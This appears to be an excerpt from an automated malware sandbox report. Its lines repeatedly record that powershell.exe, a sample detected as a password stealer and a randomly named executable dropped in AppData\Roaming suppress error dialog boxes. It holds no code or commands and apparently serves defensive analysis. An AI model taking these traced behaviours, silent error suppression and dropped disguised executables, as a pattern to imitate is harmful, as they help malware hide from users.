Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Process information set: NOOPENFILEERRORBOX
